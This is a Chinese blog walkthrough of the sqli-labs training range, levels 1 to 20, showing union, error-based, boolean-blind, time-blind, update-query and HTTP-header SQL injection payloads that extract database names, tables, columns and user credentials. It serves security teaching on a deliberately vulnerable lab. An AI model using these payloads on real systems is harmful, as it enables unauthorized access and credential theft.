当前位置: 首页 > news >正文

Sqli-labs靶场实录(一):Basic Challenges

sqli-labs靶场实录:Basic Challenges

  • sql手注基本流程
  • Less-1
    • 1.1探测注入点
    • 1.2判断字段数
    • 1.3判断回显位
    • 1.4提取数据库基本信息
    • 1.5拖取敏感数据
  • Less-2
  • Less-3
  • Less-4
  • Less5
    • 爆表
    • 爆列名
  • Less6
    • 爆库
    • 爆表
    • 爆列名
  • Less7
    • 猜解数据库长度
    • 逐字符爆破数据库名
  • Less8
    • 爆库
  • Less9
    • 爆库
  • Less10
  • Less11
  • Less12
  • Less13
  • Less14
  • Less15
    • 爆库
  • Less16
  • Less17(更新查询注入)
  • Less18
  • Less19
  • Less20
    • 免责声明:

sql手注基本流程

  1. 探测注入点和注入类型:在URL参数、表单等输入处插入单引号(‘)或逻辑语句(如’ OR 1=1–),观察是否返回数据库错误或异常数据,确认存在漏洞。

  2. 判断字段数:使用ORDER BY n逐步增加n值,直至页面报错,确定查询字段数量(如ORDER BY 3报错则字段数为2)。

  3. 定位回显位:通过UNION SELECT 1,2,3匹配字段数,观察页面显示的数字位置(如显示"2"),确定可回显数据的字段。

  4. 提取数据库信息:在回显位替换为数据库函数,如@@version(版本)、database()(当前库名),获取基础信息。

  5. 拖取敏感数据:查询系统表(如MySQL的information_schema.tables/columns),逐步获取表名、字段名,最终用UNION SELECT username,password FROM users提取数据。

Less-1

1.1探测注入点

这里通过提示可知需要通过输入id查询信息
请添加图片描述

故我们在url后拼接?id=1

发现页面改变

故判断存在数据库查询
在这里插入图片描述
接下来尝试输入?id=1 and 1=1?id and 1=2观察是不是数字型注入在这里插入图片描述在这里插入图片描述

可以看到页面无变化

故不是数字型注入
下面构造?id=1'在这里插入图片描述

可以看到页面报错

故存在字符型注入

构造?id=1'--+

成功闭合
在这里插入图片描述

1.2判断字段数

这里通过order by判断字段数

不断变化数字

出现报错则超过列数

构造?id=1'order by 3--+

页面正常在这里插入图片描述

构造?id=1'order by 3--+

页面报错

故得出字段为3
在这里插入图片描述

1.3判断回显位

构造?id=-1'union select 1,2,3--+

得出回显位为2,3

在这里插入图片描述

1.4提取数据库基本信息

构造?id=-1'union select 1,database(),version()--+

得出数据库名为security 版本为5.5.47
在这里插入图片描述

1.5拖取敏感数据

查表名

构造?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

得到四个表名

解释:这里通过参数注入的方式,将恶意 SQL 语句嵌入到正常的查询中。-1' 用于闭合原始查询中的字符串,union select 用来合并查询结果。group_concat(table_name) 将数据库中的所有表名合并成一列,information_schema.tables 是 MySQL 的元数据表,存储了数据库的表信息。where table_schema='security' 限制查询范围为 security 数据库中的表。--+ 是注释符号,用于忽略后面的内容。
在这里插入图片描述

查列名

构造
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

得到对应列名

解释:

  1. -1':闭合原始 SQL 查询中的条件,破坏其逻辑。
  2. union select:将攻击者的查询与原始查询合并,返回自定义结果。
  3. 1,2:占位符,匹配原始查询的列数,避免语法错误。
  4. group_concat(column_name):将查询结果中的列名拼接成一行,方便输出。
  5. information_schema.columns:MySQL 的元数据表,存储所有表的列信息。
  6. table_name='users':限制查询范围为 users 表。
  7. --+:注释符号,忽略后续内容,避免语法错误。
    在这里插入图片描述

爆数据

构造?id=-1' union select 1,2,group_concat(username ,password) from users--+

得到账户密码
在这里插入图片描述

Less-2

这一关从字符型注入转为了数字型注入

payload和第一关的唯一区别是id=1后面不再使用引号

其余正常使用

故po出测试payload如下
?id=1 order by 3
?id=-1 union select 1,2,3
?id=-1 union select 1,database(),version()在这里插入图片描述
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'在这里插入图片描述

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'在这里插入图片描述

?id=-1 union select 1,2,group_concat(username ,id , password) from users
在这里插入图片描述

Less-3

这一关在测试注入点时发现报错信息出现了一个)

在这里插入图片描述
故尝试构造
?id=1')--+
闭合原查询语句的括号并注释掉查询语句后面的内容在这里插入图片描述

故得出和前几关类似的payload如下

?id=1') order by 3--+(字段数判断)
?id=-1') union select 1,2,3--+(回显位判断)

在这里插入图片描述

?id=-1') union select 1,database(),version()--+(数据库信息判断)

在这里插入图片描述

?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+(表名判断)

在这里插入图片描述

?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+(列名判断)

在这里插入图片描述

?id=-1') union select 1,2,group_concat(username ,id , password) from users--+(数据脱取)

在这里插入图片描述

Less-4

这一关测试注入点时发现输入单引号时页面不报错
说明不是单引号闭合在这里插入图片描述

改用双引号闭合时报错
报错信息出现)
在这里插入图片描述
尝试构造
?id=1")–+
闭合成功在这里插入图片描述
故可以得到类似的一系列payload

?id=1") order by 3--+(查字段)
?id=-1") union select 1,2,3--+(查回显位)
?id=-1") union select 1,database(),version()--+(查数据库信息)
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+(查表名)
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+(查列名)
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+(查信息)

Less5

这一关在判断注入点时输入?id=1'报错在这里插入图片描述
构造?id=1'--+成功闭合
判断为字符型注入在这里插入图片描述
与前面四关不同
这一关不会回显任何信息
却有数据库回显错误
故尝试使用报错函数updatexml进行注入
先构造?id=1' and updatexml(1,1,1)--+
在这里插入图片描述
接着操控第二个参数
构造
?id=1'and updatexml(1,concat(1,1),1)--+在这里插入图片描述
最后操控concat函数的第二个参数得到嵌套结果
用于查询数据库名

?id=1'and updatexml(1,concat(1,(select database())),1)--+

在这里插入图片描述

爆表

构造
?id=1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+

解释:

  1. 闭合引号?id=1' 闭合原SQL语句中的单引号,添加注入条件。
  2. 构造报错
    • updatexml(1, concat(1, (子查询)), 1)
      • concat(1, ...):将子查询结果与数字1拼接,生成非法XPath格式(如1users,posts),触发错误。
      • 子查询select group_concat(table_name) from information_schema.tables where table_schema='security'
        提取security数据库的所有表名,group_concat合并为单行字符串

在这里插入图片描述

爆列名

构造?id=1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)--+

解释:

  1. 闭合注入?id=1' 闭合原SQL单引号,引入恶意逻辑。
  2. 触发报错
    • updatexml(1, concat(1, (子查询), 1)
      • concat(1, ...):拼接子查询结果与1,构造非法XPath(如1id,username,password),触发语法错误。
    • 子查询
      select group_concat(column_name)  
      from information_schema.columns  
      where table_schema='security' and table_name='users'  
      
      提取security库中users表的所有字段名,合并为单行(如id,username,password

在这里插入图片描述

Less6

这一关和上一关类似
测试注入符号时发现双引号报错
在这里插入图片描述

判断闭合方式换成了双引号闭合
故得到如下payload

爆库

?id=1"and updatexml(1,concat(1,(select database())),1)--+在这里插入图片描述

爆表

?id=1" and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+在这里插入图片描述

爆列名

?id=1" and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)--+在这里插入图片描述

Less7

这一关测一下闭合符号
一顿操作后发现可以构造?id=1'))--+进行闭合在这里插入图片描述
尝试仿制上面的payload看看
?id=1')) and updatexml(1,concat(1,(select database())),1)--+
报错信息显示语法有问题在这里插入图片描述
故这里用不了报错注入
尝试一些布尔盲注看看

猜解数据库长度

构造?id=1')) and length(database())=8--+
页面正常在这里插入图片描述
构造?id=1')) and length(database())=9--+
页面报错
故得出长度为8在这里插入图片描述

逐字符爆破数据库名

构造?id=1')) and ascii(substr(database(),1,1))>114--+
页面正常在这里插入图片描述
构造?id=1')) and ascii(substr(database(),1,1))>115--+
页面报错
故得知数据库第一个字符ascii码为115=s在这里插入图片描述
构造?id=1')) and ascii(substr(database(),2,1))>100--+
页面正常
在这里插入图片描述
构造?id=1')) and ascii(substr(database(),2,1))>101--+
页面报错
故得出第二个字符ascii码=101=e
逐步测试可爆出库名security

Less8

这里测一下该注入是怎么闭合的
尝试几个字符后可构造?id=1'--+进行闭合在这里插入图片描述
在这里插入图片描述
观察页面可知
页面只会回显tureflase两种情况
故判断这里只能通过布尔盲注来测试

爆库

构造?id=1' and ascii(substr(database(),1,1))>114--+
页面正常在这里插入图片描述
构造?id=1' and ascii(substr(database(),1,1))>115--+
页面无回显
在这里插入图片描述
故得出数据库第一个字母为s
ascii=115
以此类推
得出数据库名=security

Less9

这一关测试了一下
发现不管id后拼接何值
页面都回显一样的内容
故判断布尔盲注失效
改用时间盲注测试
在这里插入图片描述
构造?id=1' and if(1=1,sleep(5),1)--+
发现页面延迟5s回显
故得出闭合条件为单引号闭合在这里插入图片描述

爆库

构造?id=1'and if(length((select database()))>7,sleep(5),1)--+
延迟回显
在这里插入图片描述

构造?id=1'and if(length((select database()))>8,sleep(5),1)--+
正常回显
在这里插入图片描述
故得出数据库长度为8
构造?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
页面延迟回显
得出数据库第一个字母为s
以此类推得出数据库名security

Less10

这一关测试了一下发现和第九关的本质区别在于这里采用的是双引号闭合
将上一关payload的单引号统一换成双引号后即可沿用
这里不过多赘述

Less11

这一关和前面的关卡比起来先进了许多
使用了登录框
在这里插入图片描述
但是换汤不换药
注入点由url切换成了输入框
故我们在username和password这两个参数进行测试即可
输入1’
页面报错
猜测存在字符型注入
类型为单引号闭合
在这里插入图片描述
测一下注释
发现前面--+的注释条件无法沿用了
故改用#注释
构造1'#成功闭合在这里插入图片描述
知道了闭合条件和注释符号就简单了
基于第一关的payload稍加改动即可进行漏洞的利用
这里给出爆出的库名payload示例
构造1'union select 1,database()#即可在这里插入图片描述

其他表名,列名同理
就不过多赘述了

Less12

这一关测了一下闭合符号
发现由单引号变成了双引号闭合
在这里插入图片描述
但是可以看到报错信息出现了括号在这里插入图片描述
猜测原始查询语句为username=("1")
故构造1")#
成功闭合
在这里插入图片描述
payload的制作思路和上一关类似
只不过是闭合符号的不同罢了
示例构造1")union select 1,database()#
爆出库名
在这里插入图片描述

Less13

这一关的可以构造闭合语句1')#在这里插入图片描述
但是尝试沿用上面的payload不成功
语句正确时页面不会回显任何信息
在这里插入图片描述
故这里采用报错注入
payload沿用第五关的即可
构造1')and updatexml(1,concat(1,(select database())),1)#
爆出库名
在这里插入图片描述

Less14

这一关闭合语句为1"#
payload的制作仿用第13关的报错注入即可
构造1"and updatexml(1,concat(1,(select database())),1)#
爆出库名
在这里插入图片描述

Less15

这一关使用普通注入和报错注入都无效
尝试使用盲注

爆库

构造1'or (length(database())=7)#
页面报错在这里插入图片描述
构造1'or (length(database())=8)#
页面正常回显在这里插入图片描述
故得出数据库长度为8
构造1'or (ascii(substr(database(),1,1)))=114#
页面报错在这里插入图片描述

构造1'or (ascii(substr(database(),1,1)))=115#
页面正常回显在这里插入图片描述
故得出数据库第一个字母为s
以此类推得出库名security

Less16

这一关还是需要盲注
但是闭合符号换成了")闭合
盲注手法沿用第十五关的即可
示例构造1")or (ascii(substr(database(),1,1)))=115#
页面正常回显
在这里插入图片描述

得出数据库首字母=s

Less17(更新查询注入)

这一关可以看到是一个密码重置的页面在这里插入图片描述

故这是一次功能点的测试
使用用户admin进行测试
因为重置密码涉及update的数据库语句
故判断漏洞可能出现在new password参数里面
尝试在对应输入框进行注入
构造admin/1'发现数据库报错在这里插入图片描述
构造admin/1'#闭合成功

在这里插入图片描述
经测试这里普通注入行不通
故采用报错注入
构造admin/1'and updatexml(1,concat(1,database()),1)#
报错出数据库
在这里插入图片描述

Less18

这一关可以看到页面出现了本机IP地址
说明我们的信息被网站记录进了数据库
在这里插入图片描述

那么判断这里可能存在HTTP头注入
我们输入正确的账户密码看看(前面密码重置那一关可以自己设置admin账户的密码)
登录成功在这里插入图片描述

发现显示User-agen头
故在User-agent参数进行注入测试
这里要判断一下注入是否存在
我们用Bp抓包发到重放器改包
在User-agent参数后加上单引号
发现数据库报错
故存在注入点
在这里插入图片描述

这里我们可以通过报错注入得到数据库名称
基于源码切片

$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";$result1 = mysql_query($sql);$row1 = mysql_fetch_array($result1);if($row1){echo '<font color= "#FFFF00" font size = 3 >';$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";

我们可以得到User agent的参数组成如下

 (`uagent`, `ip_address`, `username`)

故构造'and updatexml(1,concat(1,database()),1)and'
成功爆库
在这里插入图片描述

Less19

这一关仍是Http头注入
登录成功后我们发现
这次显示的是Refer头
在这里插入图片描述
故在Refer参数构造payload注入即可
同理上一关抓包改包
构造:'and updatexml(1,concat(1,database()),1)and'
在这里插入图片描述
爆库成功

Less20

这一关登录成功后发现页面回显3个参数
在这里插入图片描述
因为这个仍是HTTP头注入
在测试前两个参数注入无果后尝试选择Cookie参数注入
刷新一下页面
拦截一下这个带cookie的请求在这里插入图片描述

抓包改包
构造admin'and updatexml(1,concat(1,database()),1)#
在这里插入图片描述

爆库成功

免责声明:

本文章内容仅为个人见解与实践记录,旨在分享网络安全知识。文中观点、工具、技巧等,均不构成专业建议。读者需自行判断其适用性,并对任何因采纳本文章内容而引发的行为及结果承担全部责任。作者不对任何形式的损失负责。请务必谨慎操作,必要时咨询专业人士。

相关文章:

Sqli-labs靶场实录(一):Basic Challenges

sqli-labs靶场实录:Basic Challenges sql手注基本流程Less-11.1探测注入点1.2判断字段数1.3判断回显位1.4提取数据库基本信息1.5拖取敏感数据 Less-2Less-3Less-4Less5爆表爆列名 Less6爆库爆表爆列名 Less7猜解数据库长度逐字符爆破数据库名 Less8爆库 Less9爆库 Less10Less11…...

2024最新版Node.js详细安装教程(含npm配置淘宝最新镜像地址)

一&#xff1a;Node.js安装 浏览器中搜索Nodejs&#xff0c;或直接用网址:Node.js — 在任何地方运行 JavaScript 建议此处下载长期支持版本&#xff08;红框内&#xff09;: 开始下载&#xff0c;完成后打开文件: 进入安装界面&#xff0c;在此处勾选&#xff0c;再点击n…...

RK3568使用QT搭建TCP服务器和客户端

文章目录 一、让RK3568开发板先连接上wifi二、客户端代码1. `widget.h` 文件2. `widget.cpp` 文件**详细讲解**1. **`Widget` 类构造函数 (`Widget::Widget`)**2. **UI 布局 (`setupUI`)**3. **连接按钮的槽函数 (`onConnectClicked`)**4. **发送消息按钮的槽函数 (`onSendMess…...

Android学习20 -- 手搓App2(Gradle)

1 前言 昨天写了一个完全手搓的&#xff1a;Android学习19 -- 手搓App-CSDN博客 后面谷歌说不要用aapt&#xff0c;d8这些来搞。其实不想弄Gradle的&#xff0c;不过想着既然开始了&#xff0c;就多看一些。之前写过一篇Gradle&#xff0c;不过是最简单的编译&#xff0c;不涉…...

LeetCode - Google 大模型10题 第2天 Position Embedding(位置编码) 3题

欢迎关注我的CSDN&#xff1a;https://spike.blog.csdn.net/ 本文地址&#xff1a;https://spike.blog.csdn.net/article/details/145454489 在 Transformer 架构中&#xff0c;位置编码(Position Embedding) 是辅助模型理解序列中元素顺序的关键机制。绝对位置编码(Absolute P…...

PostgreSQL 数据库备份与还原

为了安全与数据共享等&#xff0c;创建好的数据库有时候需要备份操作和还原操作。数据库的备份与还原主要是三个命令&#xff1a;pg_dump、pg_dumpall 和 pg_restore 。 其中pg_dump用于备份单个数据库&#xff0c;它支持多种备份格式&#xff08;SQL、自定义等&#xff09;&a…...

proxmox通过更多的方式创建虚拟机

概述 作为一名资深运维工程师&#xff0c;我们经常需要在 Proxmox 虚拟化平台上创建和管理虚拟机。本文将介绍三种不同的方式在 Proxmox 上创建 Ubuntu 虚拟机&#xff1a; 通过 Proxmox 命令创建虚拟机通过 Shell 脚本自动化创建虚拟机使用 Proxmox API 创建虚拟机 每种方式…...

WordPress使用(2)

上一篇文章讲述了WordPress的基本安装&#xff0c;主要是docker方式的处理。本文章主要介绍WordPress安装后的其他设置。 1. 安装后设置 安装后碰到的第一个需求就是安装一个合适的主题&#xff0c;但WordPress默认的上传文件大小是2M&#xff0c;远远无法满足要求&#xff0…...

git中文件的状态状态切换

文件的状态分类 Git 中文件的状态主要分为以下几种&#xff1a; Untracked&#xff08;未跟踪&#xff09; 定义&#xff1a;这些文件从未被 Git 跟踪过&#xff0c;通常是因为它们是新创建的文件&#xff0c;或者被 .gitignore 排除在外。 示例&#xff1a;新创建的文件 new…...

解决php8.3无法加载curl扩展

把它的值更改为扩展存在的目录的绝对路径(扩展存在的目录为有php_xxx.dll存在的目录) extension_dir "e:\serv\php83\ext" 然后从php根目录复制 libssh2.dll 和 libcrypto-*.dll 和 libssl-*.dll 到Apache根目录下的bin目录 重启apache服务即可...

三路排序算法

三路排序算法 引言 排序算法是计算机科学中基础且重要的算法之一。在数据分析和处理中&#xff0c;排序算法的效率直接影响着程序的执行速度和系统的稳定性。本文将深入探讨三路排序算法&#xff0c;包括其原理、实现和应用场景。 一、三路排序算法的原理 三路排序算法是一…...

入行FPGA设计工程师需要提前学习哪些内容?

FPGA作为一种灵活可编程的硬件平台&#xff0c;广泛应用于嵌入式系统、通信、数据处理等领域。很多人选择转行FPGA设计工程师&#xff0c;但对于新手来说&#xff0c;可能在学习过程中会遇到一些迷茫和困惑。为了帮助大家更好地准备&#xff0c;本文将详细介绍入行FPGA设计工程…...

DBASE DBF数据库文件解析

基于Java实现DBase DBF文件的解析和显示 JDK19编译运行&#xff0c;实现了数据库字段和数据解析显示。 首先解析数据库文件头代码 byte bytes[] Files.readAllBytes(Paths.get(file));BinaryBufferArray bis new BinaryBufferArray(bytes);DBF dbf new DBF();dbf.VersionN…...

html基本结构和常见元素

html5文档基本结构 <!DOCTYPE html> <html lang"zh-CN"> <head><meta charset"UTF-8"><title>文档标题</title> </head> <body>文档正文部分 </body> </html> html文档可分为文档头和文档体…...

JAVAweb学习日记(十) Mybatis入门操作

一、介绍 二、快速入门程序 三、入门-数据库连接池 四、入门-lombok工具包...

从Transformer到世界模型:AGI核心架构演进

文章目录 引言&#xff1a;架构革命推动AGI进化一、Transformer&#xff1a;重新定义序列建模1.1 注意力机制的革命性突破1.2 从NLP到跨模态演进1.3 规模扩展的黄金定律 二、通向世界模型的关键跃迁2.1 从语言模型到认知架构2.2 世界模型的核心特征2.3 混合架构的突破 三、构建…...

Rk3588芯片介绍(含数据手册)

芯片介绍&#xff1a;RK3588是一款低功耗&#xff0c;高性能的处理器&#xff0c;适用于基于arm的PC和边缘计算设备&#xff0c;个人移动互联网设备和其他数字多媒体应用&#xff0c;集成了四核Cortex-A76和四核Cortex-A55以及单独的NEON协处理器 视频处理方面&#xff1a;提供…...

java开发面试自我介绍模板_java面试自我介绍3篇

java 面试自我介绍 3 篇 java 面试自我介绍篇一&#xff1a; 我叫赵&#xff0c;我的同学更都喜欢称呼我的英文名字&#xff0c;叫&#xff0c;六月的 意思&#xff0c;是君的谐音。我来自安徽的市&#xff0c;在 21 年我以市全市第一名 的成绩考上了大学&#xff0c…...

w193基于Spring Boot的秒杀系统设计与实现

&#x1f64a;作者简介&#xff1a;多年一线开发工作经验&#xff0c;原创团队&#xff0c;分享技术代码帮助学生学习&#xff0c;独立完成自己的网站项目。 代码可以查看文章末尾⬇️联系方式获取&#xff0c;记得注明来意哦~&#x1f339;赠送计算机毕业设计600个选题excel文…...

chrome浏览器chromedriver下载

chromedriver 下载地址 https://googlechromelabs.github.io/chrome-for-testing/ 上面的链接有和当前发布的chrome浏览器版本相近的chromedriver 实际使用感受 chrome浏览器会自动更新&#xff0c;可以去下载最新的chromedriver使用&#xff0c;自动化中使用新的chromedr…...

Ubuntu系统下交叉编译openssl

一、参考资料 OpenSSL&&libcurl库的交叉编译 - hesetone - 博客园 二、准备工作 1. 编译环境 宿主机&#xff1a;Ubuntu 20.04.6 LTSHost&#xff1a;ARM32位交叉编译器&#xff1a;arm-linux-gnueabihf-gcc-11.1.0 2. 设置交叉编译工具链 在交叉编译之前&#x…...

day52 ResNet18 CBAM

在深度学习的旅程中&#xff0c;我们不断探索如何提升模型的性能。今天&#xff0c;我将分享我在 ResNet18 模型中插入 CBAM&#xff08;Convolutional Block Attention Module&#xff09;模块&#xff0c;并采用分阶段微调策略的实践过程。通过这个过程&#xff0c;我不仅提升…...

Python爬虫实战:研究feedparser库相关技术

1. 引言 1.1 研究背景与意义 在当今信息爆炸的时代,互联网上存在着海量的信息资源。RSS(Really Simple Syndication)作为一种标准化的信息聚合技术,被广泛用于网站内容的发布和订阅。通过 RSS,用户可以方便地获取网站更新的内容,而无需频繁访问各个网站。 然而,互联网…...

聊一聊接口测试的意义有哪些?

目录 一、隔离性 & 早期测试 二、保障系统集成质量 三、验证业务逻辑的核心层 四、提升测试效率与覆盖度 五、系统稳定性的守护者 六、驱动团队协作与契约管理 七、性能与扩展性的前置评估 八、持续交付的核心支撑 接口测试的意义可以从四个维度展开&#xff0c;首…...

Python 包管理器 uv 介绍

Python 包管理器 uv 全面介绍 uv 是由 Astral&#xff08;热门工具 Ruff 的开发者&#xff09;推出的下一代高性能 Python 包管理器和构建工具&#xff0c;用 Rust 编写。它旨在解决传统工具&#xff08;如 pip、virtualenv、pip-tools&#xff09;的性能瓶颈&#xff0c;同时…...

Java编程之桥接模式

定义 桥接模式&#xff08;Bridge Pattern&#xff09;属于结构型设计模式&#xff0c;它的核心意图是将抽象部分与实现部分分离&#xff0c;使它们可以独立地变化。这种模式通过组合关系来替代继承关系&#xff0c;从而降低了抽象和实现这两个可变维度之间的耦合度。 用例子…...

【Android】Android 开发 ADB 常用指令

查看当前连接的设备 adb devices 连接设备 adb connect 设备IP 断开已连接的设备 adb disconnect 设备IP 安装应用 adb install 安装包的路径 卸载应用 adb uninstall 应用包名 查看已安装的应用包名 adb shell pm list packages 查看已安装的第三方应用包名 adb shell pm list…...

省略号和可变参数模板

本文主要介绍如何展开可变参数的参数包 1.C语言的va_list展开可变参数 #include <iostream> #include <cstdarg>void printNumbers(int count, ...) {// 声明va_list类型的变量va_list args;// 使用va_start将可变参数写入变量argsva_start(args, count);for (in…...

CSS 工具对比:UnoCSS vs Tailwind CSS,谁是你的菜?

在现代前端开发中&#xff0c;Utility-First (功能优先) CSS 框架已经成为主流。其中&#xff0c;Tailwind CSS 无疑是市场的领导者和标杆。然而&#xff0c;一个名为 UnoCSS 的新星正以其惊人的性能和极致的灵活性迅速崛起。 这篇文章将深入探讨这两款工具的核心理念、技术差…...

基于Python的气象数据分析及可视化研究

目录 一.&#x1f981;前言二.&#x1f981;开源代码与组件使用情况说明三.&#x1f981;核心功能1. ✅算法设计2. ✅PyEcharts库3. ✅Flask框架4. ✅爬虫5. ✅部署项目 四.&#x1f981;演示效果1. 管理员模块1.1 用户管理 2. 用户模块2.1 登录系统2.2 查看实时数据2.3 查看天…...